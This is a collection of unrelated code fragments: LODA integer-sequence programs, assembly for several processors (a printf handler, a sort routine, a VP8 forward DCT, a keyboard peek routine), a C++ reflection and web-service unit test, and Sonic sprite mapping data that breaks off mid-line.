; A170752: Expansion of g.f.: (1+x)/(1-32*x). ; 1,33,1056,33792,1081344,34603008,1107296256,35433480192,1133871366144,36283883716608,1161084278931456,37154696925806592,1188950301625810944,38046409652025950208,1217485108864830406656,38959523483674573012992,1246704751477586336415744,39894552047282762765303808,1276625665513048408489721856,40852021296417549071671099392,1307264681485361570293475180544,41832469807531570249391205777408,1338639033841010247980518584877056,42836449082912327935376594716065792,1370766370653194493932051030914105344 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,32 lpe mov $0,$2 div $0,32
; A019489: Define the sequence T(a(0),a(1)) by a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n) for n >= 0. This is T(3,7). ; 3,7,16,36,80,177,391,863,1904,4200,9264,20433,45067,99399,219232,483532,1066464,2352161,5187855,11442175,25236512,55660880,122763936,270764385,597189651,1317143239,2905050864,6407291380,14131726000,31168502865,68744297111,151620320223,334409143312,737562583736,1626745487696,3587900118705,7913362821147,17453471129991,38494842378688,84903047578524,187259566287040,413013974952769,910930997484063,2009121561255167,4431257097463104 add $0,2 cal $0,232059 ; Number of n X 2 0..2 arrays with every 0 next to a 1 and every 1 next to a 2 horizontally or vertically, with no adjacent values equal. mov $1,$0 div $1,4
#include <boost/bimap/relation/structured_pair.hpp>
MODULE __printf_handle_x SECTION code_clib PUBLIC __printf_handle_x PUBLIC __printf_handle_p EXTERN __printf_number EXTERN __printf_set_base EXTERN __printf_disable_plus_flag EXTERN __printf_set_upper __printf_handle_x: __printf_handle_p: IF __CPU_INTEL__ | __CPU_GBZ80__ ld c,16 call __printf_set_base call __printf_disable_plus_flag ELSE ld (ix-9),16 res 1,(ix-4) ;disable '+' flag ENDIF ld c,0 ;unsigned jp __printf_number
LXI H,4000 MOV C,M DCR C REPEAT: MOV D,C LXI H,4001 ZONE: MOV A,M INX H CMP M JC TEST MOV B,M MOV M,A DCX H MOV M,B INX H TEST: DCR D JNZ ZONE DCR C JNZ REPEAT RST 1
Entity start Constants 0 S start 1 S var1 2 I 10 3 I 1 4 S writeln End Def start Local variables 0 int var1 End ldconst 2 --> [10] stvar 0 --> [var1] ldvar 0 --> [var1] ldconst 3 --> [1] lcall 4 --> [writeln] stop End End
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; EXPORT |vp8_short_fdct4x4_neon| EXPORT |vp8_short_fdct8x4_neon| ARM REQUIRE8 PRESERVE8 AREA ||.text||, CODE, READONLY, ALIGN=2 ; r0 short *input ; r1 short *output ; r2 int pitch ; Input has a pitch, output is contiguous |vp8_short_fdct4x4_neon| PROC ldr r12, _dct_matrix_ vld1.16 d0, [r0], r2 vld1.16 d1, [r0], r2 vld1.16 d2, [r0], r2 vld1.16 d3, [r0] vld1.16 {q2, q3}, [r12] ;first stage vmull.s16 q11, d4, d0[0] ;i=0 vmull.s16 q12, d4, d1[0] ;i=1 vmull.s16 q13, d4, d2[0] ;i=2 vmull.s16 q14, d4, d3[0] ;i=3 vmlal.s16 q11, d5, d0[1] vmlal.s16 q12, d5, d1[1] vmlal.s16 q13, d5, d2[1] vmlal.s16 q14, d5, d3[1] vmlal.s16 q11, d6, d0[2] vmlal.s16 q12, d6, d1[2] vmlal.s16 q13, d6, d2[2] vmlal.s16 q14, d6, d3[2] vmlal.s16 q11, d7, d0[3] ;sumtemp for i=0 vmlal.s16 q12, d7, d1[3] ;sumtemp for i=1 vmlal.s16 q13, d7, d2[3] ;sumtemp for i=2 vmlal.s16 q14, d7, d3[3] ;sumtemp for i=3 ; rounding vrshrn.i32 d22, q11, #14 vrshrn.i32 d24, q12, #14 vrshrn.i32 d26, q13, #14 vrshrn.i32 d28, q14, #14 ;second stage vmull.s16 q4, d22, d4[0] ;i=0 vmull.s16 q5, d22, d4[1] ;i=1 vmull.s16 q6, d22, d4[2] ;i=2 vmull.s16 q7, d22, d4[3] ;i=3 vmlal.s16 q4, d24, d5[0] vmlal.s16 q5, d24, d5[1] vmlal.s16 q6, d24, d5[2] vmlal.s16 q7, d24, d5[3] vmlal.s16 q4, d26, d6[0] vmlal.s16 q5, d26, d6[1] vmlal.s16 q6, d26, d6[2] vmlal.s16 q7, d26, d6[3] vmlal.s16 q4, d28, d7[0] ;sumtemp for i=0 vmlal.s16 q5, d28, d7[1] ;sumtemp for i=1 vmlal.s16 q6, d28, d7[2] ;sumtemp for i=2 vmlal.s16 q7, d28, d7[3] ;sumtemp for i=3 vrshr.s32 q0, q4, #16 vrshr.s32 q1, q5, #16 vrshr.s32 q2, q6, #16 vrshr.s32 q3, q7, #16 vmovn.i32 d0, q0 vmovn.i32 d1, q1 vmovn.i32 d2, q2 vmovn.i32 d3, q3 vst1.16 {q0, q1}, [r1] bx lr ENDP ; r0 short *input ; r1 short *output ; r2 int pitch |vp8_short_fdct8x4_neon| PROC ; Store link register and input before calling ; first 4x4 fdct. Do not need to worry about ; output or pitch because those pointers are not ; touched in the 4x4 fdct function stmdb sp!, {r0, lr} bl vp8_short_fdct4x4_neon ldmia sp!, {r0, lr} ; Move to the next block of data. add r0, r0, #8 add r1, r1, #32 ; Second time through do not store off the ; link register, just return from the 4x4 fdtc b vp8_short_fdct4x4_neon ; Should never get to this. bx lr ENDP ;----------------- _dct_matrix_ DCD dct_matrix dct_matrix ; DCW 23170, 30274, 23170, 12540 ; DCW 23170, 12540, -23170,-30274 ; DCW 23170, -12540, -23170, 30274 ; DCW 23170, -30274, 23170,-12540 ; 23170 = 0x5a82 ; -23170 = 0xa57e ; 30274 = 0x7642 ; -30274 = 0x89be ; 12540 = 0x30fc ; -12540 = 0xcf04 DCD 0x76425a82, 0x30fc5a82 DCD 0x30fc5a82, 0x89bea57e DCD 0xcf045a82, 0x7642a57e DCD 0x89be5a82, 0xcf045a82 END
;-------------------------------------------------------- ; Category 4 Function 75H Peek character data record ;-------------------------------------------------------- ; ;Purpose ;Peek Character Data Record ;Parameter Packet Format ;I Fleld ;Status ;Data Packet Format ;Length ;WORD ;See "KbdCharln - Read Character, Scan Code" on page 3-2 for ;the CharData data structure. ;Where ;Status ;is a one word field which contains either Oto indicate no key ;stroke is available or 1 to indicate that a character data record is ;being returned. The sign bit is set to either 0 if the current input ;mode is ASCII or 1 if the input mode is BINARY. ;Returns ;None ;Remarks ;This request is used to obtain one character data record from the ;head of the keyboard input buffer (KIB) of the session for the currently ;active process. The character data record is not removed from the ;KIB. Note that if shift report is on then the CharData record may not ;contain a character but a shift state change in the shift status field. ; IOKPEEK PROC NEAR LES SI,[DS:BP].ARGS.DDATA MOV CX, [ES:SI] MOV AH,011H INT 016H JNE @F XOR BL,BL JMP KP_1 @@: MOV BL,040H KP_1: PUSH DS LDS SI,[DS:BP].ARGS.PARMLIST MOV [DS:SI].KBDKEYINFO.KBCI_CHCHAR,AL MOV [DS:SI].KBDKEYINFO.KBCI_CHSCAN,AH MOV [DS:SI].KBDKEYINFO.KBCI_FBSTATUS,BL MOV AH,12H INT 16H MOV [DS:SI].KBDKEYINFO.KBCI_FSSTATE,AX MOV AH,2CH INT 21H MOV WORD PTR [DS:SI].KBDKEYINFO.KBCI_TIME,CX MOV WORD PTR [DS:SI].KBDKEYINFO.KBCI_TIME+2,DX POP DS XOR AX,AX RET IOKPEEK ENDP
; A187107: Number of nontrivial compositions of differential operations and directional derivative of the n-th order on the space R^9. ; 8,8,9,10,12,15,20,28,41,62,96,151,240,384,617,994,1604,2591,4188,6772,10953,17718,28664,46375,75032,121400,196425,317818,514236,832047,1346276,2178316,3524585,5702894,9227472,14930359,24157824,39088176 sub $0,1 mov $1,1 mov $2,1 lpb $0,1 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe add $1,7
#include "TestUtils.h" #include "stencil/stencil.h" struct TestInterface : public ReflectionBase::Interface<TestInterface> { public: TestInterface() = default; virtual ~TestInterface() = default; DELETE_COPY_AND_MOVE(TestInterface); virtual uint64_t AddNumber(uint64_t num1, uint64_t num2) = 0; static std::unique_ptr<TestInterface> Create(uint64_t randomInteger, shared_string randomString); }; struct TestInterfaceFactory : public ReflectionBase::InterfaceFactory<TestInterface> { public: virtual ~TestInterfaceFactory() = default; virtual std::unique_ptr<TestInterface> Activate(uint64_t randomInteger, shared_string randomString) = 0; }; template <> struct ReflectionBase::InterfaceActivator<TestInterface> { std::unique_ptr<TestInterface> Activate(uint64_t randomInteger, shared_string randomString) { return TestInterface::Create(randomInteger, randomString); } }; struct TestInterface_AddNumber_Args { TestInterface* instance = nullptr; uint64_t arg_num1{}; uint64_t arg_num2{}; uint64_t& get_arg_num1() { return arg_num1; } void set_arg_num1(uint64_t&& value) { arg_num1 = value; } uint64_t& get_arg_num2() { return arg_num2; } void set_arg_num2(uint64_t&& value) { arg_num2 = value; } }; template <> struct ReflectionBase::TypeTraits<TestInterface_AddNumber_Args&> { struct Traits_arg_num1 { using TOwner = TestInterface_AddNumber_Args; using TFieldType = uint64_t; static constexpr std::string_view Name() { return "num1"; } static const ::ReflectionBase::Flags Flags() { return {}; } static constexpr auto TAttributeValue(const std::string_view& key) { return ::ReflectionServices::EmptyAttributeValue(key); } static constexpr auto TPropertyGetter() { return &TestInterface_AddNumber_Args::get_arg_num1; } static constexpr auto TPropertySetter() { return &TestInterface_AddNumber_Args::set_arg_num1; } }; struct Traits_arg_num2 { using TOwner = TestInterface_AddNumber_Args; using TFieldType = uint64_t; static constexpr std::string_view Name() { return "num2"; } static const ::ReflectionBase::Flags Flags() { return {}; } static constexpr auto TAttributeValue(const std::string_view& key) { return ::ReflectionServices::EmptyAttributeValue(key); } static constexpr auto TPropertyGetter() { return &TestInterface_AddNumber_Args::get_arg_num2; } static constexpr auto TPropertySetter() { return &TestInterface_AddNumber_Args::set_arg_num2; } }; static constexpr ::ReflectionBase::DataType Type() { return ::ReflectionBase::DataType::Object; } static constexpr std::string_view Name() { return "AddNumber"; } static constexpr auto TAttributeValue(const std::string_view& key) { return ::ReflectionServices::EmptyAttributeValue(key); } using Handler = ::ReflectionServices::ReflectedStructHandler<TestInterface_AddNumber_Args, Traits_arg_num1, Traits_arg_num2>; }; struct TestInterface_Create_Args { TestInterface* instance = nullptr; uint64_t arg_randomInteger; shared_string arg_randomString; uint64_t& get_arg_randomInteger() { return arg_randomInteger; } void set_arg_randomInteger(uint64_t&& value) { arg_randomInteger = value; } shared_string& get_arg_randomString() { return arg_randomString; } void set_arg_randomString(shared_string&& value) { arg_randomString = std::move(value); } }; template <> struct ReflectionBase::TypeTraits<TestInterface_Create_Args&> { struct Traits_arg_randomInteger { using TOwner = TestInterface_Create_Args; using TFieldType = uint64_t; static const ::ReflectionBase::Flags Flags() { return {}; } static constexpr std::string_view Name() { return "randomInteger"; } static constexpr auto TAttributeValue(const std::string_view& key) { return ::ReflectionServices::EmptyAttributeValue(key); } static constexpr auto TPropertyGetter() { return &TestInterface_Create_Args::get_arg_randomInteger; } static constexpr auto TPropertySetter() { return &TestInterface_Create_Args::set_arg_randomInteger; } }; struct Traits_arg_randomString { using TOwner = TestInterface_Create_Args; using TFieldType = shared_string; static const ::ReflectionBase::Flags Flags() { return {}; } static constexpr std::string_view Name() { return "randomString"; } static constexpr auto TAttributeValue(const std::string_view& key) { return ::ReflectionServices::EmptyAttributeValue(key); } static constexpr auto TPropertyGetter() { return &TestInterface_Create_Args::get_arg_randomString; } static constexpr auto TPropertySetter() { return &TestInterface_Create_Args::set_arg_randomString; } }; static constexpr ::ReflectionBase::DataType Type() { return ::ReflectionBase::DataType::Object; } static constexpr std::string_view Name() { return "Create"; } static constexpr auto TAttributeValue(const std::string_view& key) { return ::ReflectionServices::EmptyAttributeValue(key); } using Handler = ::ReflectionServices::ReflectedStructHandler<TestInterface_Create_Args, Traits_arg_randomInteger, Traits_arg_randomString>; }; template <> struct ReflectionBase::InterfaceTraits<TestInterface> { struct ApiTraits_AddNumber { using TOwner = TestInterface; static const ::ReflectionBase::Flags Flags() { return {}; } static constexpr std::string_view Name() { return "AddNumber"; } static constexpr bool Static = false; }; struct ApiTraits_Create { using TOwner = TestInterface; static const ::ReflectionBase::Flags Flags() { return {}; } using ArgsStruct = TestInterface_Create_Args; static constexpr std::string_view Name() { return "Create"; } static constexpr bool Static = true; }; using Apis = ::ReflectionBase::InterfaceApiPack<ApiTraits_AddNumber, ApiTraits_Create>; }; template <> struct ReflectionBase::InterfaceApiTraits<ReflectionBase::InterfaceTraits<TestInterface>::ApiTraits_AddNumber> { using ArgsStruct = TestInterface_AddNumber_Args; static constexpr bool IsStatic() { return false; } static constexpr std::string_view Name() { return "AddNumber"; } static uint64_t Invoke(ArgsStruct& args) { return args.instance->AddNumber(args.get_arg_num1(), args.get_arg_num1()); } }; template <> struct ReflectionBase::InterfaceApiTraits<ReflectionBase::InterfaceTraits<TestInterface>::ApiTraits_Create> { using ArgsStruct = TestInterface_Create_Args; static constexpr bool IsStatic() { return true; } static constexpr std::string_view Name() { return "Create"; } static std::unique_ptr<TestInterface> Invoke(ArgsStruct& args) { return TestInterface::Create(args.get_arg_randomInteger(), args.get_arg_randomString()); } }; // End Generated code namespace impl { class TestInterfaceImpl : public TestInterface { public: // Inherited via TestInterface virtual uint64_t AddNumber(uint64_t num1, uint64_t num2) override { return num1 + num2; } TestInterfaceImpl(uint64_t randomInteger, shared_string randomString) : _randomInteger(randomInteger), _randomString(randomString) {} DELETE_COPY_AND_MOVE(TestInterfaceImpl); uint64_t _randomInteger; shared_string _randomString; }; class TestInterfaceFactoryImpl : public TestInterfaceFactory { // Inherited via TestInterfaceFactory virtual std::unique_ptr<TestInterface> Activate(uint64_t randomInteger, shared_string randomString) override { return TestInterface::Create(randomInteger, randomString); } }; } // namespace impl template <> struct ReflectionBase::InterfaceActivator<TestInterfaceFactory> { static std::unique_ptr<TestInterfaceFactory> Activate() { return std::unique_ptr<TestInterfaceFactory>(new impl::TestInterfaceFactoryImpl()); } }; std::unique_ptr<TestInterface> TestInterface::Create(uint64_t randomInteger, shared_string randomString) { return std::unique_ptr<TestInterface>(new impl::TestInterfaceImpl(randomInteger, randomString)); } template <> struct WebServiceHandlerTraits<TestInterface> { static constexpr const std::string_view Url() { return std::string_view("TestInterface"); } }; #pragma warning(push, 3) #include <httplib.h> #pragma warning(pop) #include <sstream> #include <string> #include <string_view> class CppHttpLib { public: CppHttpLib(std::string_view /*proto*/, std::string_view host, uint16_t port, std::string_view get) { httplib::Client cli(host.data(), port); auto res = cli.Get(get.data()); if (res && res->status == 200) { _response = res->body; } else { throw std::runtime_error("Unable to get"); } } std::string response() { return _response; } private: std::string _response; }; TEST_CASE("CodeGen::WebService::HandWritten", "[WebService]") { SECTION("Positive: SimpleCase") { WebService<TestInterface> svc; svc.StartOnPort(44444); try { auto str = CppHttpLib("http", "localhost", 44444, "/TestInterface/create?randomInteger=22&randomString=aadya").response(); REQUIRE(str.size() == 38); REQUIRE(str[0] == '{'); REQUIRE(str[37] == '}'); } catch (std::exception const& ex) { FAIL(ex.what()); } svc.StopDaemon(); svc.WaitForStop(); } }
; --------------------------------------------------------------------------- ; Sprite mappings - Sonic ; --------------------------------------------------------------------------- Map_Sonic_internal: ptr_MS_Null: dc.w MS_Null-Map_Sonic_internal ptr_MS_Stand: dc.w MS_Stand-Map_Sonic_internal ptr_MS_Wait1: dc.w MS_Wait1-Map_Sonic_internal ptr_MS_Wait2: dc.w MS_Wait2-Map_Sonic_internal ptr_MS_Wait3: dc.w MS_Wait3-Map_Sonic_internal ptr_MS_LookUp: dc.w MS_LookUp-Map_Sonic_internal ptr_MS_Walk11: dc.w MS_Walk11-Map_Sonic_internal ptr_MS_Walk12: dc.w MS_Walk12-Map_Sonic_internal ptr_MS_Walk13: dc.w MS_Walk13-Map_Sonic_internal ptr_MS_Walk14: dc.w MS_Walk14-Map_Sonic_internal ptr_MS_Walk15: dc.w MS_Walk15-Map_Sonic_internal ptr_MS_Walk16: dc.w MS_Walk16-Map_Sonic_internal ptr_MS_Walk21: dc.w MS_Walk21-Map_Sonic_internal ptr_MS_Walk22: dc.w MS_Walk22-Map_Sonic_internal ptr_MS_Walk23: dc.w MS_Walk23-Map_Sonic_internal ptr_MS_Walk24: dc.w MS_Walk24-Map_Sonic_internal ptr_MS_Walk25: dc.w MS_Walk25-Map_Sonic_internal ptr_MS_Walk26: dc.w MS_Walk26-Map_Sonic_internal ptr_MS_Walk31: dc.w MS_Walk31-Map_Sonic_internal ptr_MS_Walk32: dc.w MS_Walk32-Map_Sonic_internal ptr_MS_Walk33: dc.w MS_Walk33-Map_Sonic_internal ptr_MS_Walk34: dc.w MS_Walk34-Map_Sonic_internal ptr_MS_Walk35: dc.w MS_Walk35-Map_Sonic_internal ptr_MS_Walk36: dc.w MS_Walk36-Map_Sonic_internal ptr_MS_Walk41: dc.w MS_Walk41-Map_Sonic_internal ptr_MS_Walk42: dc.w MS_Walk42-Map_Sonic_internal ptr_MS_Walk43: dc.w MS_Walk43-Map_Sonic_internal ptr_MS_Walk44: dc.w MS_Walk44-Map_Sonic_internal ptr_MS_Walk45: dc.w MS_Walk45-Map_Sonic_internal ptr_MS_Walk46: dc.w MS_Walk46-Map_Sonic_internal ptr_MS_Run11: dc.w MS_Run11-Map_Sonic_internal ptr_MS_Run12: dc.w MS_Run12-Map_Sonic_internal ptr_MS_Run13: dc.w MS_Run13-Map_Sonic_internal ptr_MS_Run14: dc.w MS_Run14-Map_Sonic_internal ptr_MS_Run21: dc.w MS_Run21-Map_Sonic_internal ptr_MS_Run22: dc.w MS_Run22-Map_Sonic_internal ptr_MS_Run23: dc.w MS_Run23-Map_Sonic_internal ptr_MS_Run24: dc.w MS_Run24-Map_Sonic_internal ptr_MS_Run31: dc.w MS_Run31-Map_Sonic_internal ptr_MS_Run32: dc.w MS_Run32-Map_Sonic_internal ptr_MS_Run33: dc.w MS_Run33-Map_Sonic_internal ptr_MS_Run34: dc.w MS_Run34-Map_Sonic_internal ptr_MS_Run41: dc.w MS_Run41-Map_Sonic_internal ptr_MS_Run42: dc.w MS_Run42-Map_Sonic_internal ptr_MS_Run43: dc.w MS_Run43-Map_Sonic_internal ptr_MS_Run44: dc.w MS_Run44-Map_Sonic_internal ptr_MS_Roll1: dc.w MS_Roll1-Map_Sonic_internal ptr_MS_Roll2: dc.w MS_Roll2-Map_Sonic_internal ptr_MS_Roll3: dc.w MS_Roll3-Map_Sonic_internal ptr_MS_Roll4: dc.w MS_Roll4-Map_Sonic_internal ptr_MS_Roll5: dc.w MS_Roll5-Map_Sonic_internal ptr_MS_Warp1: dc.w MS_Warp1-Map_Sonic_internal ptr_MS_Warp2: dc.w MS_Warp2-Map_Sonic_internal ptr_MS_Warp3: dc.w MS_Warp3-Map_Sonic_internal ptr_MS_Warp4: dc.w MS_Warp4-Map_Sonic_internal ptr_MS_Stop1: dc.w MS_Stop1-Map_Sonic_internal ptr_MS_Stop2: dc.w MS_Stop2-Map_Sonic_internal ptr_MS_Duck: dc.w MS_Duck-Map_Sonic_internal ptr_MS_Balance1:dc.w MS_Balance1-Map_Sonic_internal ptr_MS_Balance2:dc.w MS_Balance2-Map_Sonic_internal ptr_MS_Float1: dc.w MS_Float1-Map_Sonic_internal ptr_MS_Float2: dc.w MS_Float2-Map_Sonic_internal ptr_MS_Float3: dc.w MS_Float3-Map_Sonic_internal ptr_MS_Float4: dc.w MS_Float4-Map_Sonic_internal ptr_MS_Spring: dc.w MS_Spring-Map_Sonic_internal ptr_MS_Hang1: dc.w MS_Hang1-Map_Sonic_internal ptr_MS_Hang2: dc.w MS_Hang2-Map_Sonic_internal ptr_MS_Leap1: dc.w MS_Leap1-Map_Sonic_internal ptr_MS_Leap2: dc.w MS_Leap2-Map_Sonic_internal ptr_MS_Push1: dc.w MS_Push1-Map_Sonic_internal ptr_MS_Push2: dc.w MS_Push2-Map_Sonic_internal ptr_MS_Push3: dc.w MS_Push3-Map_Sonic_internal ptr_MS_Push4: dc.w MS_Push4-Map_Sonic_internal ptr_MS_Surf: dc.w MS_Surf-Map_Sonic_internal ptr_MS_BubStand:dc.w MS_BubStand-Map_Sonic_internal ptr_MS_Burnt: dc.w MS_Burnt-Map_Sonic_internal ptr_MS_Drown: dc.w MS_Drown-Map_Sonic_internal ptr_MS_Death: dc.w MS_Death-Map_Sonic_internal ptr_MS_Shrink1: dc.w MS_Shrink1-Map_Sonic_internal ptr_MS_Shrink2: dc.w MS_Shrink2-Map_Sonic_internal ptr_MS_Shrink3: dc.w MS_Shrink3-Map_Sonic_internal ptr_MS_Shrink4: dc.w MS_Shrink4-Map_Sonic_internal ptr_MS_Shrink5: dc.w MS_Shrink5-Map_Sonic_internal ptr_MS_Float5: dc.w MS_Float5-Map_Sonic_internal ptr_MS_Float6: dc.w MS_Float6-Map_Sonic_internal ptr_MS_Injury: dc.w MS_Injury-Map_Sonic_internal ptr_MS_GetAir: dc.w MS_GetAir-Map_Sonic_internal ptr_MS_WaterSlide:dc.w MS_WaterSlide-Map_Sonic_internal MS_Null: dc.b 0 MS_Stand: dc.b 4 ; standing dc.b $EC, 8, 0, 0, $F0 dc.b $F4, $D, 0, 3, $F0 dc.b 4, 8, 0, $B, $F0 dc.b $C, 8, 0, $E, $F8 MS_Wait1: dc.b 3 ; waiting 1 dc.b $EC, 9, 0, 0, $F0 dc.b $FC, 9, 0, 6, $F0 dc.b $C, 8, 0, $C, $F8 MS_Wait2: dc.b 3 ; waiting 2 dc.b $EC, 9, 0, 0, $F0 dc.b $FC, 9, 0, 6, $F0 dc.b $C, 8, 0, $C, $F8 MS_Wait3: dc.b 3 ; waiting 3 dc.b $EC, 9, 0, 0, $F0 dc.b $FC, 9, 0, 6, $F0 dc.b $C, 8, 0, $C, $F8 MS_LookUp: dc.b 3 ; looking up dc.b $EC, $A, 0, 0, $F0 dc.b 4, 8, 0, 9, $F0 dc.b $C, 8, 0, $C, $F8 MS_Walk11: dc.b 4 ; walking 1-1 dc.b $EB, $D, 0, 0, $EC dc.b $FB, 9, 0, 8, $EC dc.b $FB, 6, 0, $E, 4 dc.b $B, 4, 0, $14, $EC MS_Walk12: dc.b 2 ; walking 1-2 dc.b $EC, $D, 0, 0, $ED dc.b $FC, $E, 0, 8, $F5 MS_Walk13: dc.b 2 ; walking 1-3 dc.b $ED, 9, 0, 0, $F3 dc.b $FD, $A, 0, 6, $F3 MS_Walk14: dc.b 4 ; walking 1-4 dc.b $EB, 9, 0, 0, $F4 dc.b $FB, 9, 0, 6, $EC dc.b $FB, 6, 0, $C, 4 dc.b $B, 4, 0, $12, $EC MS_Walk15: dc.b 2 ; walking 1-5 dc.b $EC, 9, 0, 0, $F3 dc.b $FC, $E, 0, 6, $EB MS_Walk16: dc.b 3 ; walking 1-6 dc.b $ED, $D, 0, 0, $EC dc.b $FD, $C, 0, 8, $F4 dc.b 5, 9, 0, $C, $F4 MS_Walk21: dc.b 5 ; walking 2-1 dc.b $EB, 9, 0, 0, $EB dc.b $EB, 6, 0, 6, 3 dc.b $FB, 8, 0, $C, $EB dc.b 3, 9, 0, $F, $F3 dc.b $13, 0, 0, $15, $FB MS_Walk22: dc.b 6 ; walking 2-2 dc.b $EC, 9, 0, 0, $EC dc.b $EC, 1, 0, 6, 4 dc.b $FC, $C, 0, 8, $EC dc.b 4, 9, 0, $C, $F4 dc.b $FC, 5, 0, $12, $C dc.b $F4, 0, 0, $16, $14 MS_Walk23: dc.b 4 ; walking 2-3 dc.b $ED, 9, 0, 0, $ED dc.b $ED, 1, 0, 6, 5 dc.b $FD, $D, 0, 8, $F5 dc.b $D, 8, 0, $10, $FD MS_Walk24: dc.b 5 ; walking 2-4 dc.b $EB, 9, 0, 0, $EB dc.b $EB, 5, 0, 6, 3 dc.b $FB, $D, 0, $A, $F3 dc.b $B, 8, 0, $12, $F3 dc.b $13, 4, 0, $15, $FB MS_Walk25: dc.b 4 ; walking 2-5 dc.b $EC, 9, 0, 0, $EC dc.b $EC, 1, 0, 6, 4 dc.b $FC, $D, 0, 8, $F4 dc.b $C, 8, 0, $10, $FC MS_Walk26: dc.b 5 ; walking 2-6 dc.b $ED, 9, 0, 0, $ED dc.b $ED, 1, 0, 6, 5 dc.b $FD, 0, 0, 8, $ED dc.b $FD, $D, 0, 9, $F5 dc.b $D, 8, 0, $11, $FD MS_Walk31: dc.b 4 ; walking 3-1 dc.b $F4, 7, 0, 0, $EB dc.b $EC, 9, 0, 8, $FB dc.b $FC, 4, 0, $E, $FB dc.b 4, 9, 0, $10, $FB MS_Walk32: dc.b 2 ; walking 3-2 dc.b $F4, 7, 0, 0, $EC dc.b $EC, $B, 0, 8, $FC MS_Walk33: dc.b 2 ; walking 3-3 dc.b $F4, 6, 0, 0, $ED dc.b $F4, $A, 0, 6, $FD MS_Walk34: dc.b 4 ; walking 3-4 dc.b $F4, 6, 0, 0, $EB dc.b $EC, 9, 0, 6, $FB dc.b $FC, 4, 0, $C, $FB dc.b 4, 9, 0, $E, $FB MS_Walk35: dc.b 2 ; walking 3-5 dc.b $F4, 6, 0, 0, $EC dc.b $F4, $B, 0, 6, $FC MS_Walk36: dc.b 3 ; walking 3-6 dc.b $F4, 7, 0, 0, $ED dc.b $EC, 0, 0, 8, $FD dc.b $F4, $A, 0, 9, $FD MS_Walk41: dc.b 6 ; walking 4-1 dc.b $FD, 6, 0, 0, $EB dc.b $ED, 4, 0, 6, $F3 dc.b $F5, 4, 0, 8, $EB dc.b $F5, $A, 0, $A, $FB dc.b $D, 0, 0, $13, $FB dc.b $FD, 0, 0, $14, $13 MS_Walk42: dc.b 6 ; walking 4-2 dc.b $FC, 6, 0, 0, $EC dc.b $E4, 8, 0, 6, $F4 dc.b $EC, 4, 0, 9, $FC dc.b $F4, 4, 0, $B, $EC dc.b $F4, $A, 0, $D, $FC dc.b $C, 0, 0, $16, $FC MS_Walk43: dc.b 4 ; walking 4-3 dc.b $FB, 6, 0, 0, $ED dc.b $F3, 4, 0, 6, $ED dc.b $EB, $A, 0, 8, $FD dc.b 3, 4, 0, $11, $FD MS_Walk44: dc.b 5 ; walking 4-4 dc.b $FD, 6, 0, 0, $EB dc.b $ED, 8, 0, 6, $F3 dc.b $F5, 4, 0, 9, $EB dc.b $F5, $D, 0, $B, $FB dc.b 5, 8, 0, $13, $FB MS_Walk45: dc.b 4 ; walking 4-5 dc.b $FC, 6, 0, 0, $EC dc.b $F4, 4, 0, 6, $EC dc.b $EC, $A, 0, 8, $FC dc.b 4, 4, 0, $11, $FC MS_Walk46: dc.b 5 ; walking 4-6 dc.b $FB, 6, 0, 0, $ED dc.b $EB, $A, 0, 6, $FD dc.b $F3, 4, 0, $F, $ED dc.b 3, 4, 0, $11, $FD dc.b $B, 0, 0, $13, $FD MS_Run11: dc.b 2 ; running 1-1 dc.b $EE, 9, 0, 0, $F4 dc.b $FE, $E, 0, 6, $EC MS_Run12: dc.b 2 ; running 1-2 dc.b $EE, 9, 0, 0, $F4 dc.b $FE, $E, 0, 6, $EC MS_Run13: dc.b 2 ; running 1-3 dc.b $EE, 9, 0, 0, $F4 dc.b $FE, $E, 0, 6, $EC MS_Run14: dc.b 2 ; running 1-4 dc.b $EE, 9, 0, 0, $F4 dc.b $FE, $E, 0, 6, $EC MS_Run21: dc.b 4 ; running 2-1 dc.b $EE, 9, 0, 0, $EE dc.b $EE, 1, 0, 6, 6 dc.b $FE, $E, 0, 8, $F6 dc.b $FE, 0, 0, $14, $EE MS_Run22: dc.b 3 ; running 2-2 dc.b $EE, 9, 0, 0, $EE dc.b $EE, 1, 0, 6, 6 dc.b $FE, $E, 0, 8, $F6 MS_Run23: dc.b 4 ; running 2-3 dc.b $EE, 9, 0, 0, $EE dc.b $EE, 1, 0, 6, 6 dc.b $FE, $E, 0, 8, $F6 dc.b $FE, 0, 0, $14, $EE MS_Run24: dc.b 3 ; running 2-4 dc.b $EE, 9, 0, 0, $EE dc.b $EE, 1, 0, 6, 6 dc.b $FE, $E, 0, 8, $F6 MS_Run31: dc.b 2 ; running 3-1 dc.b $F4, 6, 0, 0, $EE dc.b $F4, $B, 0, 6, $FE MS_Run32: dc.b 2 ; running 3-2 dc.b $F4, 6, 0, 0, $EE dc.b $F4, $B, 0, 6, $FE MS_Run33: dc.b 2 ; running 3-3 dc.b $F4, 6, 0, 0, $EE dc.b $F4, $B, 0, 6, $FE MS_Run34: dc.b 2 ; running 3-4 dc.b $F4, 6, 0, 0, $EE dc.b $F4, $B, 0, 6, $FE MS_Run41: dc.b 4 ; running 4-1 dc.b $FA, 6, 0, 0, $EE dc.b $F2, 4, 0, 6, $EE dc.b $EA, $B, 0, 8, $FE dc.b $A, 0, 0, $14, $FE MS_Run42: dc.b 2 ; running 4-2 dc.b $F2, 7, 0, 0, $EE dc.b $EA, $B, 0, 8, $FE MS_Run43: dc.b 4 ; running 4-3 dc.b $FA, 6, 0, 0, $EE dc.b $F2, 4, 0, 6, $EE dc.b $EA, $B, 0, 8, $FE dc.b $A, 0, 0, $14, $FE MS_Run44: dc.b 2 ; running 4-4 dc.b $F2, 7, 0, 0, $EE dc.b $EA, $B, 0, 8, $FE MS_Roll1: dc.b 1 ; rolling 1 dc.b $F0, $F, 0, 0, $F0 MS_Roll2: dc.b 1 ; rolling 2 dc.b $F0, $F, 0, 0, $F0 MS_Roll3: dc.b 1 ; rolling 3 dc.b $F0, $F, 0, 0, $F0 MS_Roll4: dc.b 1 ; rolling 4 dc.b $F0, $F, 0, 0, $F0 MS_Roll5: dc.b 1 ; rolling 5 dc.b $F0, $F, 0, 0, $F0 MS_Warp1: dc.b 2 ; warped 1 (unused) dc.b $F4, $E, 0, 0, 